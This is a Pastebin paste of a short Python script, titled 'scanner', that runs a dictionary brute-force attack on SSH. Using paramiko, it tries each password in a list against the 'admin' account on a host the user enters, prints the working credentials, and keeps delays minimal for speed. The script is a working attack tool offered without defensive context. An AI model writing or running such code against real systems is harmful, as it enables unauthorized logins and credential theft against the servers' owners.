Advertisement
Sweetening

scanner

Apr 2nd, 2024
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.71 KB | None | 0 0
  1. import paramiko
  2. import sys
  3. import time
  4.  
  5. def sshConnection(target, password):
  6. ssh = paramiko.SSHClient()
  7. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  8.  
  9. try:
  10. ssh.connect(target, port=22, username="admin", password=password, timeout=1)
  11. return True, password
  12. except Exception as e:
  13. return False, password
  14. finally:
  15. ssh.close()
  16.  
  17. def main(target, password_file):
  18. try:
  19. with open(password_file, "r") as f:
  20. passwords = f.readlines()
  21. except FileNotFoundError:
  22. print(f"File {password_file} not found.")
  23. sys.exit(1)
  24.  
  25. attempts = 0
  26. print("\n\tBrute forcing passwords from the file...\n")
  27. start_time = time.time()
  28.  
  29. for password in passwords:
  30. password = password.strip()
  31. attempts += 1
  32. success, password_used = sshConnection(target, password)
  33. if success:
  34. print(f"\nAuthentication successful after {attempts} attempts.")
  35. print(f"Credentials: admin@{target} Password: {password_used}")
  36. break
  37.  
  38. # Attempt to maintain high speed by minimizing delay, remove or adjust sleep if necessary
  39. time.sleep(0.001) # Sleep for 1ms, adjust as needed based on practical performance
  40.  
  41. end_time = time.time()
  42. print(f"\nCompleted in {end_time - start_time} seconds with {attempts} attempts.")
  43.  
  44. if __name__ == "__main__":
  45. print("\n\tDictionary brute force attack on SSH services")
  46. print("\t---------------------------------------------\n\n")
  47.  
  48. target = input(" > Enter target host address to connect to: ")
  49. password_file = input(" > Enter the filename of the password list: ")
  50.  
  51. main(target, password_file)
  52.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement